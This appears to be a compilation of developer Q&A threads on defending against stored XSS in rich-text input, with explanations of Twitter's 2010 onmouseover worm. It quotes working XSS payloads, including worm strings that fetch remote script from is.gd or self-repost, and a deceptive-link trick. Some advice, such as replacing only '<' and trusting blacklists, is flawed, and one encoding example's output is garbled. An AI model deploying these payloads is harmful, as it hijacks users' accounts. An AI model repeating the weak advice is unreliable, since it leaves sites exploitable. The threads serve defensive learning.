I'm xss-proofing my web site for javascript and xss attacks. It's written in ASP.NET Webforms.
The main part I'd like to test is a user control that has a textbox (tinyMCE attached to it).
Users can submit stories to site by writing in this textbox. I had to set validateRequest to false since I want to get users' stories in HMTL (tinyMCE).
How should I prevent javascript-xss attacks? Since users' stories are HMTL texts, I cannot use Server.HtmlEncode on their stories. In general, what's the safe way to receive HTML content from user, save and then display it to users?
If one user puts malicious code in the textbox and submits it, is there a chance that this could harm other people who view that text?
Thanks.
If you don't clean what the user puts in the textbox and submits, then yes, there is a chance for harm to be done.
You might want to check out the Microsoft Anti-Cross Site Scripting Library, as it is designed to help developers prevent just such attacks.
Also worth taking a look at is OWASP's Cross-site Scripting (XSS)
You might want to look into HttpUtility.HtmlEncode and HttpUtility.HtmlDecode as well. I just wrote a quick test, and it looks like it might address your concern in the comment below (about how to display the data to other users in the right format):
string htmlString = "<b>This is a test string</b><script>alert(\"alert!\")</script> and some other text with markup <ol><li>1234235</li></ol>";
string encodedString = HttpUtility.HtmlEncode(htmlString);
// result = <b>This is a test string</b><script>alert("alert!")</script> and some other text with markup <ol><li>1234235</li></ol>
string decodedString = HttpUtility.HtmlDecode(encodedString);
// result = <b>This is a test string</b><script>alert("alert!")</script> and some other text with markup <ol><li>1234235</li></ol>
ASP.NET Controls and HTMLEncode
I was going to post the information I had from my class, but I found a link that lists the exact same thing (for 1.1 and 2.0), so I'll post the link for easier reference. You can probably get more information on a specific control not listed (or 3.0/3.5/4.0 versions if they've changed) by looking on MSDN, but this should serve as a quick start guide for you, at least. Let me know if you need more information and I'll see what I can find.
ASP.NET Controls Default HTML Encoding
Here's a more comprehensive list from one of the MSDN blogs: Which ASP.NET Controls Automatically Encodes?
I would go with storing it encoded in database, then when showing Decode it and replace only the < with < if you say you need to preserve other things.
As far as I know, if you replace the < XSS is not really possible as any JS code must be inside <script> tags to be executed and by replacing, you'll get this in the HTML source:
<script> and the user will see <script> on the screen as the browser will parse the < entity.
This said, if you allow users to post "raw" HTML e.g. <b>this section is bolded</b> then you'll have to create "white list" of allowed tags then manually replace the < with the proper HTML for example:
string[] allowedTags = new string[] { "a", "b", "img" };
foreach (allowedTag in allowedTags)
output = output.Replace("<" + allowedTag, "<" + allowedTag);
Have you seen the OWASP guide on this
The best way would be to have an white list of allowed tags instead of a trying to come up with a way to prevent all script tags.
One solution on how to do this is here How do I filter all HTML tags except a certain whitelist?
But you also need to be aware people might have a link to external script via an image tag with a URL to their own server. See examples here http://ha.ckers.org/xss.html of the different types of attacks you need to defend against
Related
Considering issues like CSRF, XSS, SQL Injection...
Site: ASP.net, SQL Server 2012
I'm reading a somewhat old page from MS: https://msdn.microsoft.com/en-us/library/ff649310.aspx#paght000004_step4
If I have a parametrized query, and one of my fields is for holding HTML, would a simple replace on certain tags do the trick?
For example, a user can type into a WYSIWYG textarea, make certain things bold, or create bullets, etc.
I want to be able to display the results from a SELECT query, so even if I HTMLEncoded it, it'll have to be HTMLDecoded.
What about a UDF that cycles through a list of scenarios? I'm curious as to the best way to deal with the seemingly sneaky ones mentioned on that page:
Quote:
An attacker can use HTML attributes such as src, lowsrc, style, and href in conjunction with the preceding tags to inject cross-site scripting. For example, the src attribute of the tag can be a source of injection, as shown in the following examples.
<img src="javascript:alert('hello');">
<img src="java
script:alert('hello');">
<img src="java
script:alert('hello');">
An attacker can also use the <style> tag to inject a script by changing the MIME type as shown in the following.
<style TYPE="text/javascript">
alert('hello');
</style>
So ultimately two questions:
Best way to deal with this from within the INSERT statement itself.
Best way to deal with this from code-behind.
Best way to deal with this from within the INSERT statement itself.
None. That's not where you should do it.
Best way to deal with this from code-behind.
Use a white-list, not a black-list. HTML encode everything, then decode specific tags that are allowed.
It's reasonable to be able to specify some tags that can be used safely, but it's not reasonable to be able to catch every possible exploit.
What HTML tags would be considered dangerous if stored in SQL Server?
None. SQL Server does not understand, nor try to interpret HTML tags. A HTML tag is just text.
However, HTML tags can be dangerous if output to a HTML page, because they can contain script.
If you want a user to be able to enter rich text, the following approaches should be considered:
Allow users (or the editor they are using) to generate BBCode, not HTML directly. When you output their BBCode markup, you convert any recognised tags to HTML without attributes that contain script, and any HTML to entities (& to &, etc).
Use a tried and tested HTML sanitizer to remove "unsafe" markup from your stored input in combination with a Content Security Policy. You must do both otherwise any gaps (and there will be gaps) in the sanitizer could allow an attack, and not all browsers full support CSP yet (IE).
Note that these should be both be done on point of output. Store the text "as is" in your database, simply encode and process for the correct format when output to the page.
Sanitize html both on the client and on the server before you stuff any strings into SQL.
Client side:
TinyMCE - does this automatically
CKEditor - does this automatically
Server side:
Pretty easy to do this with Node, or the language/platform of your choice.
https://www.realwebsite.com
the link above shows www.realwebsite.com while it actually takes you to www.dangerouswebsite.com...
<a '
href="https://www.dangerouswebsite.com">
https://www.realwebsite.com
<'/a>
do not include the random ' in the code I put it there to bypass activating the code so you can see the code instead of just the link. (btw most websites block this or anything if you add stuff like onload="alert('TEXT')" but it can still be used to trick people into going to dangerous websites... (although its real website pops up on the bottom of your browser, some people don't check it or don't understand what it means.))
I'm creating an app that retrieves the text within a tweet, store it in the database and then display it on the browser.
The problem is that I'm thinking if the text has PHP tags or HTML tags it might be a security breach there.
I looked into strip_tags() but saw some bad reviews. I also saw suggestions to HTML Purifier but it was last updated years ago.
So my question is how can I be 100% secure that if the tweet text is "<script> something_bad() </script>" it won't matter?
To state the obvious the tweets are sent to the database from users so I don't want to check all individually before displaying them.
You are NEVER 100% secure, however you should take a look at this. If you use ENT_QUOTES parameter too, currently there are no ways to inject ANY XSS on your website if you're using valid charset (and your users don't use outdated browsers). However, if you want to allow people to only post SOME html tags into their "Tweet" (for example <b> for bold text), you will need to take a deep look at EACH whitelisted tag.
You've passed the first stage which is to recognise that there is a potential issue and skipped straight to trying to find a solution, without stopping to think about how you want to deal the scenario of the content. This is a critical pre-cusrsor to solving the problem.
The general rule is that you validate input and escape output
validate input
- decide whether to accept or reject it it in its entirety)
if (htmlentities($input) != $input) {
die "yuck! that tastes bad";
}
escape output
- transform the data appropriately according to where its going.
If you simply....
print "<script> something_bad() </script>";
That would be bad, but....
print JSONencode(htmlentities("<script> something_bad() </script>"));
...then you'd would have done something very strange at the front end to make the client susceptivble to a stored XSS attack.
If you're outputting to HTML (and I recommend you always do), simply HTML encode on output to the page.
As client script code is only dangerous when interpreted by the browser, it only needs to be encoded on output. After all, to the database <script> is just text. To the browser <script> tells the browser to interpret the following text as executable code, which is why you should encode it to <script>.
The OWASP XSS Prevention Cheat Sheet shows how you should do this properly depending on output context. Things get complicated when outputting to JavaScript (you may need to hex encode and HTML encode in the right order), so it is often much easier to always output to a HTML tag and then read that tag using JavaScript in the DOM rather than inserting dynamic data in scripts directly.
At the very minimum you should be encoding the < & characters and specifying the charset in metatag/HTTP header to avoid UTF7 XSS.
You need to convert the HTML characters <, > (mainly) into their HTML equivalents <, >.
This will make a < and > be displayed in the browser, but not executed - ie: if you look at the source an example may be <script>alert('xss')</script>.
Before you input your data into your database - or on output - use htmlentities().
Further reading: https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
This morning I woke up to a JavaScript alert on a project of mine that runs KnockoutJS, jQuery, and Underscore.js. It says "I can run any JavaScript of my choice on your users' browsers". The only third-party JavaScript I am downloading is Typekit, and removing that does not make this go away. I've searched my JavaScript and vendor JavaScript and this string does not come back up matching anything.
How would you troubleshoot this and/or is this something that is known to occur?
If you have a database for your application, that would be the next place to check. I'm guessing somebody found and exploited an Injection vulnerability (either un-sanitized HTML input or SQL) and injected the script into a page via the database.
The last place would be to look at the ruby code to see if somehow a malicious user modified your source.
You obviously take an input from user and then outputting it back as part of HTML without quoting or sanitizing. There's two quick checks to do:
1) Open source of page that outputs this alert and search inside source for exact text of alert - this should give you clear indication of what user-filled field is compromised.
2) To be sure, search all other fields in your database generated by users (login names, text of comments, etc.) for words "script" and "alert".
For future: always sanitize your input (remove HTML tags) before inserting it in HTML page OR escape symbols as entities according to standards OR explicitly treat is a plain text by assigning it to value of text node in DOM.
It sounds like a hack attempt on your site. Check any databases, text files, etc. that are being used that are receiving user input. It sounds like you're not checking what's being posted to your server I'm guessing.
I currently have a simple <div contenteditable="true"> working, but, here's my problem.
Currently, the user can create a persistent XSS by inserting a <script> into the div, which I definitely do not want.
However, my current ideas to fix this are:
Allow only a and img tags
Use a textarea (not a good idea, because then have users copy and paste images)
What do you guys suggest?
You have to keep in mind that to prevent xss, you've GOT TO DO IT ON THE SERVER SIDE. If your rich text editor (ex YUI or tinyMCE) has some javascript to prevent a script tag from being inputted, that doesn't stop me from inspecting your http post requests, looking at the variable names you're using, and then using firefox poster to send whatever string I like to your server to bypass all client side validation. If you aren't validating user input SERVER SIDE then you're doing almost nothing productive to protect from XSS.
Any client side xss protection would have to do with how you render user input; not how you receive it. So, for example, if you encoded all input so it does not render as html. This goes away from what you want to accomplish though (just anchor and img tags). Just keep in mind the more you allow to be rendered the more possible vulnerabilities you expose.
That being said the bulk of your protection should come from the server side and there are a lot of XSS filters out there depending on what you're writing with (ex, asp.net or tomcat/derby/jboss) that you can look into.
I think you're on the right path by allowing ONLY a and img tags. The one thing you have to keep in mind is that you can put javascript commands into the src attributes of a tags, so take care to validate the href attributes. But the basic idea of "allow nothing and then change the filters to only allow certain things" (AKA whitelist filtering) is better than "allow everything and then filter out what I don't want" (AKA blacklist filtering).
In the comments below, Brian Nickel also said this which illustrates the point:
Everything but the elements and attributes you want to keep. I
know you mentioned it in your answer but that bears repeating since it
is so scary. <img onerror="stealMoney()">
The other thing you're going to want to do is define a XSSFilterRequest object (or something along those lines) and in a filter, override your requests so that any call to whatever your "getUrlParameter" and "getRequestParameter" objects run the request values through your xss filter. This provides a clean way to filter everything without rewriting existing code.
EDIT: A python example of xss filtering:
Python HTML sanitizer / scrubber / filter
Python library for XSS filtering?
What about using google caja (a source-to-source translator for securing Javascript-based web content)?
Unless you have xss validation on server side you could apply html_sanitize both to data sent from the user and data received from the server that is to be displayed. In worst case scenario you'll get XSSed content in database that will never be displayed to the user.
Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:
http://t.co/#"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
Is this technically an XSS attack or something else?
Here is how the Twitter home page looked like: http://www.flickr.com/photos/travelist/6832853140/
The vulnerability is because URLs were not being parsed properly. For example, the following URL is posted to Twitter:
http://thisisatest.com/#"onmouseover="alert('test xss')"/
Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:
http://thisisatest.com/#"onmouseover="alert('test xss')"/</span>
You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape (ie. terminate the href attribute, for the pedants out there) the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element. Also, you are not limited by the 140 character limit because you can use $.getScript().
This commit, if it were pulled, would have prevented this XSS vulnerability.
In detail, the offending regex was:
REGEXEN[:valid_url_path_chars] = /(?:
#{REGEXEN[:wikipedia_disambiguation]}|
#[^\/]+\/|
[\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix
The #[^\/]+\/ part allowed any character (except a forward slash) when it was prefixed by an # sign and suffixed by a forward slash.
By changing to ##{REGEXEN[:valid_general_url_path_chars]}+\/ it now only allows valid URL characters.
Yes this is XSS, it is attacking a javascript event handler. What is cool about this XSS is that it doesn't require <> to exploit. The injected string is: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".
The size::999999999999px makes it very large and there for more likly that someone will mouse over it. The real problem is the onmouseover= event handler.
To prevent this in PHP you need to convert quote marks into their html entities:
$var=htmlspecialchars($var,ENT_QUOTES);
This is because HTML you cannot escape quotes like sql: \'
The exploit was a classic piece of Javascript injection. Suppose you write a tweet with the following text:
"http://www.guardian.co.uk/technology is the best!"
When you view the Twitter web page, that becomes a link, like so:
<a href="http://www.guardian.co.uk/technology" class="tweet-url web"
rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!
The exploit attacked that link-making function. The raw text of the exploit tweet would read something like this:
http://a.no/#";onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();"class="modal-overlay"/
Which Twitter didn't protect properly, probably because the #" character combination broke their [HTML] parser. That link would generate the following page source:
<a href="http://a.no/#";onmouseover=";$('textarea:first').val(this.innerHTML);
$('.status-update-form').submit();"class="modal-overlay"/ class="tweet-url web"
rel="nofollow">
This means that executable content (the onMouseOver="stuff" bit) has ended up in the page source code. Not knowing any better, the browser runs this code. Because it's running in the user's browser, it can do anything the user does; most variations used this power to re-post the content, which is why it spread like a virus. To encourage the user to activate the code by mousing over, they also formatted the block as black-on-black using CSS [Cascading Style Sheets, which determines the page layout]. Other versions were hacked around by users to have all sorts of other effects, such as porn site redirects, rainbow text in their tweets, and so forth. Some of them popped up dialog boxes designed to alarm the users, talking about accounts being disabled or passwords stolen (they weren't, in either case).
Twitter fixed this not by blocking the string onMouseOver (which some dim-witted blogs were calling for) but by properly sanitising the input. The " marks in these tweets are now turned into " – the HTML-escaped form.
Technically this is a second-order injection attack; the attack string is inserted into the database and handled correctly, but then the attack takes place as the string is read back out instead. It's not that complex an attack at all either - rather embarrassing for Twitter that they were caught out by this.
Source: The Twitter hack: how it started and how it worked
It's an XSS exploit. As Twitter admitted in their update. You can prevent attacks like that by never allowing users to post javascript code. You should always filter it out. More information about avoiding XSS can be found here: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
From Wikipedia: "Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users."
Today's attack fits the bill to me.
Basically there was some sort of parsing error with Twitter.com display code. When they converted URLs to HTML hyperlinks, they weren't handling # characters correctly and this was causing javascript events to be inserted into the HTML link.